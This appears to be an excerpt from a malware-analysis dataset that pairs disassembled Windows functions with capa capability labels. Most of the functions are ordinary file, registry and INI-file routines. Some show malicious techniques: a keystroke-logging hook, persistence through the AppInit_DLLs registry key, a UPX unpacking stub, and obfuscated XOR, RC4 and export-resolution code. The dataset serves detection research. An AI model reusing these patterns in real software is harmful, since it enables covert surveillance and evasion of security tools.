joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40294c
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4029ba
cmp byte [ebp + 8], 1
jne 0x40299e
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x4029ac
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x4029cc
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
mov dword [ebp - 4], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a2d
cmp byte [ebp + 8], 1
jne 0x402a11
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402a1f
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402a40
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
mov eax, dword [ebp - 4]
push eax
push edi
push esi
call sub.kernel32.dll_WritePrivateProfileStringA
cmp eax, 1
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402ac0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push ebx
call sub.kernel32.dll_lstrlenA
push eax
push ebx
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402b00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x402c18
Capabilities:
Resolve dns

Disassembly:
push ebx
xor ebx, ebx
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x402c2c
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
mov eax, ebx
pop ebx
ret
Function at 0x403e98
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0x406910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403e38
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x407228], eax
push 0
push 0x406910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403e58
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40722c], eax
ret

Function at 0x403ed8
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, esp
push 0x403ff0
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x407028
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x403ff8
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x406a14
mov ecx, 0x404008
mov edx, ebx
mov eax, 0x80000000
call fcn.00402ac0
push 0x40400c
mov ecx, 0x404018
mov edx, ebx
mov eax, 0x80000000
call fcn.00402ac0
push 0x404028
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x406910
mov ecx, 0x407028
mov edx, ebx
mov eax, 0x80000002
call fcn.00402ac0
push 0x404070
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x404008
mov ecx, 0x4040a8
mov edx, ebx
mov eax, 0x80000002
call fcn.00402ac0
push 0x4040b8
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 1
mov ecx, 0x4040f0
mov edx, ebx
mov eax, 0x80000002
call fcn.00402b00
push 1
mov ecx, 0x404100
mov edx, ebx
mov eax, 0x80000002
call fcn.00402b00
push 0x40410c
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x404168
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404170
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0
lea ecx, [esp + 0x104]
mov edx, ebx
mov eax, 0x80000002
call fcn.00402b00
add esp, 0x200
pop ebx
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40e910
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
or ebp, 0xffffffff
jmp 0x40e932
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40e939
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40e928
mov eax, 1
add ebx, ebx
jne 0x40e94b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40e940
jne 0x40e95c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e940
xor ecx, ecx
sub eax, 3
jb 0x40e970
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40e9e2
mov ebp, eax
add ebx, ebx
jne 0x40e97b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40e988
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40e9ac
inc ecx
add ebx, ebx
jne 0x40e998
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40e98d
jne 0x40e9a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e98d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40e9cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40e9bd
jmp 0x40e92e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40e9cc
add edi, ecx
jmp 0x40e92e
pop esi
mov edi, esi
mov ecx, 2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40e9ea
cmp byte [edi], 1
jne 0x40e9ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40e9ef
lea edi, [esi + 0xc000]
mov eax, dword [edi]
or eax, eax
je 0x40ea67
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf678]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf6b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40ea1c
mov ecx, edi
jns 0x40ea4b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf6b8]
or eax, eax
je 0x40ea61
mov dword [ebx], eax
add ebx, 4
jmp 0x40ea39
call dword [esi + 0xf6bc]
popal
jmp 0x401164
Function at 0x4010c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, 0xcc
push esi
push edi
lea ecx, [eax + 0x12]
mov ebx, 0x5473
lea edi, [eax - 0x5a]
mov edx, 0x5248
lea esp, [esp]
cmp eax, 0xde
cmovl eax, ecx
dec edx
jne 0x4010e0
mov esi, 0x90c
mov eax, 0x487ede05
imul esi
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x4010f0
mov eax, 0x283b
mov edx, 0x39
mov esi, 0x7cf0
cmp ecx, edx
cmovl ecx, edx
dec eax
jne 0x401112
lea ebx, [ebx]
mov eax, 0x4d4873ed
imul ebx
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401120
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4011a4
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4011a4
cmp ebx, eax
jae 0x4011a4
mov ebx, 0x4f94
lea ebx, [ebx]
mov eax, 0x60f25deb
imul ebx
sar edx, 6
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401150
mov ebx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
sub edx, ebx
mov eax, 0x7033
mov ecx, 0xfa
cmp edi, ecx
cmovg edi, ecx
dec eax
jne 0x401175
xor ecx, ecx
test edx, edx
je 0x401191
mov al, byte [ecx + ebx + 1]
add al, 0x39
xor byte [ecx + ebx], al
inc ecx
cmp ecx, edx
jb 0x401183
mov eax, 0x4ec4ec4f
imul esi
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x401191
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4022b0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0xc
push ebx
push esi
push edi
mov esi, 0x7c
test eax, eax
je 0x4024bf
cmp dword [ebp + 0x10], 0
jne 0x4022d9
cmp dword [ebp + 0x18], 0
je 0x4024bf
mov ecx, 0x4ac9
mov edi, edi
mov eax, 0xf2b9d649
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4022e0
mov edi, 0x7cf0
lea ebx, [ebx]
mov eax, 0x5397829d
imul edi
sar edx, 6
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x402300
mov eax, 0x5248
mov edx, 0x2c
mov edi, 0xcb
cmp esi, edx
cmovl esi, edx
dec eax
jne 0x402322
mov ebx, 0x2d1e
nop
mov eax, 0x2e8ba2e9
imul ebx
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402330
mov ebx, 0x124c
mov esi, 0xf04
lea ecx, [ecx]
mov eax, 0xac769185
imul esi
add edx, esi
sar edx, 6
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x402350
mov eax, dword [ebp + 0xc]
mov ecx, 0xc9d
mov esi, dword [eax + 0x3c]
add esi, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402372
mov eax, 0x2d31
mov edx, 0x2f
nop
cmp edi, edx
cmovl edi, edx
dec eax
jne 0x402390
mov eax, dword [ebp + 0xc]
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x4024bf
cmp dword [esi], 0x4550
jne 0x4024bf
mov eax, dword [esi + 0x7c]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4024bf
mov eax, 0x31c5
cdq
and edx, 0x3f
add eax, edx
sar eax, 6
test eax, eax
jne 0x4023c8
mov edi, dword [esi + 0x78]
add edi, dword [ebp + 0xc]
mov esi, 0x4b9e
mov dword [ebp - 4], edi
mov eax, 0xe1fc780f
imul esi
add edx, esi
sar edx, 7
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x4023e3
jmp 0x402400
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402400
mov ecx, 0x7964
lea ebx, [ebx]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402420
mov ebx, dword [edi + 0x20]
mov esi, dword [ebp + 0xc]
add ebx, esi
mov ecx, 0x6584
mov edi, 0x3203
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x402445
mov edi, dword [ebp - 4]
mov eax, dword [edi + 0x24]
add eax, esi
mov dword [ebp - 4], eax
mov eax, 0xb60b60b7
imul ecx
add edx, ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402463
mov eax, dword [edi + 0x1c]
mov edx, dword [ebp + 0x10]
mov ecx, esi
add eax, ecx
mov dword [ebp - 8], eax
mov eax, edx
shr eax, 0x10
test eax, eax
je 0x4024bf
mov eax, 0x78d8
dec eax
jne 0x402493
xor esi, esi
cmp dword [edi + 0x18], esi
jbe 0x4024bf
lea ecx, [ecx]
mov eax, dword [ebx + esi*4]
add eax, ecx
push eax
push edx
call fcn.00402d70
add esp, 8
test eax, eax
jne 0x4024c8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
inc esi
cmp esi, dword [edi + 0x18]
jb 0x4024a0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
movzx eax, word [eax + esi*2]
mov ecx, dword [ecx + eax*4]
add ecx, dword [ebp + 0xc]
cmp ecx, edi
jbe 0x4024e5
mov eax, dword [ebp - 0xc]
add eax, edi
cmp ecx, eax
jb 0x4024bf
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402bf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, 0x84
mov edi, 0x5201
mov ebx, 0x4f94
xor ecx, ecx
mov esi, 0x79be
mov edx, 0x3a
mov dword [ebp - 4], 0xd5
lea esp, [esp]
cmp eax, 0xd5
cmovg eax, dword [ebp - 4]
dec edx
jne 0x402c20
mov eax, dword [ebp + 8]
add eax, 0x16
mov dword [ebp - 4], eax
mov eax, 0xdd67c8a7
imul edi
add edx, edi
sar edx, 7
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x402c35
lea ebx, [ebx]
mov eax, 0x3531dec1
imul ebx
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402c50
mov ebx, dword [ebp + 8]
inc byte [ebx + 0xa]
movzx edi, byte [ebx + 0xa]
movzx edx, byte [edi + ebx + 0x16]
movzx eax, byte [ebx + 1]
add edi, ebx
add eax, edx
movzx edx, al
add edx, ebx
mov byte [ebx + 1], al
movzx eax, byte [edx + 0x16]
mov bl, byte [edi + 0x16]
mov byte [edi + 0x16], al
mov byte [edx + 0x16], bl
nop
inc ecx
mov eax, ecx
and eax, 0x80000003
jns 0x402c9f
dec eax
or eax, 0xfffffffc
inc eax
jne 0x402ca5
add ecx, ecx
jmp 0x402cae
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add ecx, eax
cmp ecx, 0x3003
jl 0x402c90
mov cl, byte [edi + 0x16]
add cl, bl
jmp 0x402cc0
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 6
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x402cc0
movzx eax, cl
mov ecx, dword [ebp - 4]
pop edi
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp + 0xc]
pop esi
xor eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409b40
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x47f1f0]
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x62c], ecx
mov eax, dword [ebp - 0x62c]
cmp dword [eax + 0xb8], 0xffffffff
je 0x409b6e
xor al, al
jmp 0x409cb9
mov cx, word [0x466af0]
mov word [ebp - 0x210], cx
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x20e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.ServiceCore.dll_public:_static_bool___cdecl_CWHService::GetWorkDirectory_wchar_t__const__unsigned_short_int_]
add esp, 8
mov ax, word [0x466af4]
mov word [ebp - 0x418], ax
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x416]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x210]
push ecx
push str._sDownLoad
push 0x104
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.MSVCR71.dll__snwprintf]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jbe 0x409c1d
mov ecx, dword [ebp - 0x420]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2f
je 0x409c1d
mov ecx, dword [ebp - 0x420]
sub ecx, 1
mov dword [ebp - 0x420], ecx
jmp 0x409bf1
mov dx, word [0x466b10]
mov word [ebp - 0x628], dx
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x626]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x41c], edx
mov eax, dword [ebp - 0x41c]
push eax
lea ecx, [ebp - 0x418]
push ecx
push str._s_s.WHD
push 0x104
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.MSVCR71.dll__snwprintf]
add esp, 0x14
push 0
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push 0x1001
lea ecx, [ebp - 0x628]
push ecx
mov ecx, dword [ebp - 0x62c]
add ecx, 0xb4
mov edx, dword [ebp - 0x62c]
mov eax, dword [edx + 0xb4]
call dword [eax + 0x28]
test eax, eax
jne 0x409cb7
xor al, al
jmp 0x409cb9
mov al, 1
mov ecx, dword [ebp - 4]
call fcn.0045d95d
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x43a670
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x20], 0
je 0x43a68c
push 0x64
mov ecx, dword [ebp - 0x10]
call fcn.0040b9d0
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x5c], 0
je 0x43a79b
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x70], 0
je 0x43a6f2
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x70]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x43a6f2
push 0
push 0
push 0x64
push 2
mov ecx, dword [ebp - 0x10]
call fcn.0043abf0
push 0x3e8
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x102
jne 0x43a6f0
push 0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x43a71c
push 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x102
jne 0x43a71c
push 0
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x60], 0
je 0x43a74a
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x5c], 0
je 0x43a760
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x70], 0
push 0x10
push 0
mov edx, dword [ebp - 0x10]
add edx, 0x5c
push edx
call sub.MSVCR71.dll_memset
add esp, 0xc
movzx eax, byte [ebp + 8]
cmp eax, 1
jne 0x43a79b
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0x6c]
mov edx, dword [eax]
call dword [edx + 0xc]
mov al, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x43e8c0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x948
mov eax, dword [0x47f1f0]
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x944], ecx
mov ax, word [0x46fdec]
mov word [ebp - 0x418], ax
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x416]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.ServiceCore.dll_public:_static_bool___cdecl_CWHService::GetWorkDirectory_wchar_t__const__unsigned_short_int_]
add esp, 8
mov dx, word [0x46fdf0]
mov word [ebp - 0x210], dx
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x20e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x418]
push eax
push 0x46fdf4
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.MSVCR71.dll__snwprintf]
add esp, 0x10
mov dx, word [0x46fe2c]
mov word [ebp - 0x818], dx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x816]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x210]
push eax
push 0x200
lea ecx, [ebp - 0x818]
push ecx
push 0x46fe30
push 0x46fe34
push str.Assistant
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx edx, word [ebp - 0x818]
test edx, edx
je 0x43eafe
mov dword [ebp - 0x81c], 1
mov dword [ebp - 0x820], 0x2f
push 0xffff0002
push 0
push 0
push 0x10
push 0x10
push 0xb
push 0xb
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [ebp - 0x820]
push ecx
mov ecx, dword [ebp - 0x944]
call sub.MFC71U.DLL_CTabCtrl::InsertItem
mov edx, dword [ebp - 0x944]
mov dword [edx + 0x64], eax
mov ax, word [0x46fe64]
mov word [ebp - 0x840], ax
xor ecx, ecx
mov dword [ebp - 0x83e], ecx
mov dword [ebp - 0x83a], ecx
mov dword [ebp - 0x836], ecx
mov dword [ebp - 0x832], ecx
mov dword [ebp - 0x82e], ecx
mov dword [ebp - 0x82a], ecx
mov dword [ebp - 0x826], ecx
mov word [ebp - 0x822], cx
mov edx, dword [ebp - 0x81c]
push edx
push 0x46fe68
push 0x10
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.MSVCR71.dll__snwprintf]
add esp, 0x10
mov cx, word [0x46fe84]
mov word [ebp - 0x940], cx
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x93e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [ebp - 0x210]
push edx
push 0x80
lea eax, [ebp - 0x940]
push eax
push 0x46fe88
push str.AssistantName
lea ecx, [ebp - 0x840]
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx edx, word [ebp - 0x940]
test edx, edx
jne 0x43ea9c
jmp 0x43eae9
mov eax, dword [ebp - 0x81c]
mov dword [ebp - 0x948], eax
mov ecx, dword [ebp - 0x944]
mov edx, dword [ecx + 0x64]
push edx
mov eax, dword [ebp - 0x948]
push eax
push 0xa
lea ecx, [ebp - 0x940]
push ecx
mov ecx, dword [ebp - 0x944]
call fcn.00440a00
mov edx, dword [ebp - 0x81c]
add edx, 1
mov dword [ebp - 0x81c], edx
mov eax, 1
test eax, eax
jne 0x43e9e8
mov ecx, dword [ebp - 0x944]
mov edx, dword [ecx + 0x64]
push edx
mov ecx, dword [ebp - 0x944]
call fcn.0043f330
mov ecx, dword [ebp - 4]
call fcn.0045d95d
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4531a0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x47f1f0]
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x90], ecx
mov ax, word [0x4726a0]
mov word [ebp - 0x88], ax
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x86]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10
push 0
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR71.dll_memset
add esp, 0xc
mov edx, dword [ebp + 0x14]
push edx
push 0x40
lea eax, [ebp - 0x88]
push eax
push 0x4726a4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx eax, word [ebp - 0x88]
test eax, eax
je 0x453280
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x8c], ecx
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.004530f0
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.004530f0
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.004530f0
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.004530f0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
mov al, 1
jmp 0x453282
xor al, al
mov ecx, dword [ebp - 4]
call fcn.0045d95d
pop edi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4532a0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x47f1f0]
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x90], ecx
mov ax, word [0x4726a8]
mov word [ebp - 0x88], ax
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x86]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 8
push 0
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR71.dll_memset
add esp, 0xc
mov edx, dword [ebp + 0x14]
push edx
push 0x40
lea eax, [ebp - 0x88]
push eax
push 0x4726ac
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx eax, word [ebp - 0x88]
test eax, eax
je 0x453350
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x8c], ecx
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.004530f0
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.004530f0
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov al, 1
